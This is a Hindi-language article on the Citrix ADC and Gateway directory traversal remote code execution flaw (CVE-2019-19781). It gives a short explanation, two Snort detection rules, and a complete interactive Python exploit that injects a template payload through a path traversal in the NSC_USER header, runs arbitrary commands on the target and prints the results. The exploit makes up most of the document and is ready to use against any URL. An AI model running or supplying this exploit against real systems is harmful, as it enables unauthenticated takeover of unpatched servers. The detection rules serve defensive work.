
RCE, Citirx ADC और Gateway Directory Traversal
यह लेख CVE-2019-19781 में सूचीबद्ध Citrix ADC और Gateway Directory Traversal रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता के बारे में है।
यह रिमोट कोड एक्ज़ीक्यूशन भेद्यता इसलिए उत्पन्न होती है क्योंकि /vpn पथ के नीचे ../vpns में smb.conf फ़ाइल का सत्यापन उचित रूप से नहीं किया जाता है।
सिस्टम कॉन्फ़िगरेशन जानकारी या सर्वर जानकारी चुराना
1989 में स्थापित एक अमेरिकी बहुराष्ट्रीय सॉफ्टवेयर कंपनी
सर्वर, एप्लिकेशन और डेस्कटॉप वर्चुअलाइज़ेशन, नेटवर्किंग, SaaS और क्लाउड कंप्यूटिंग तकनीकें प्रदान करती है
कमज़ोर Citrix उत्पादों में इनपुट सत्यापन की कमी के कारण उत्पन्न होने वाली डायरेक्टरी ट्रैवर्सल भेद्यता- बिना इनपुट सत्यापन के अनुरोधित पथ का सीधे उपयोग करने से उत्पन्न होने वाली भेद्यता
कमज़ोर संस्करण वाले Citrix उत्पादों के /vpns/ पथ पर एक perl स्क्रिप्ट मौजूद है जो बिना प्रमाणीकरण के डायरेक्टरी सहित प्रतिबंधित फ़ाइलों तक पहुँच की अनुमति देती है
यह perl स्क्रिप्ट अनुरोधित पथ का सीधे उपयोग करती है
alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"/../"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)
alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"%2E%2E"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)
#!/usr/bin/env python
import requests
import string
import random
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
print("Found by Mikhail Klyuchnikov")
print("")
if len(sys.argv) < 2:
print("[-] No URL provided")
sys.exit(0)
while True:
try:
command = input("command > ")
random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
print("[+] Adding bookmark", random_xml + ".xml")
burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
if r.status_code == 200:
print("[+] Bookmark added")
else:
print("\n[-] Target not vulnerable or something went wrong")
sys.exit(0)
burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers,verify=False)
replaced = re.sub('^&#.* $', '', r.text, flags=re.MULTILINE)
print("[+] Result of the command: \n")
print(replaced)
except KeyboardInterrupt:
print("Exiting...")
break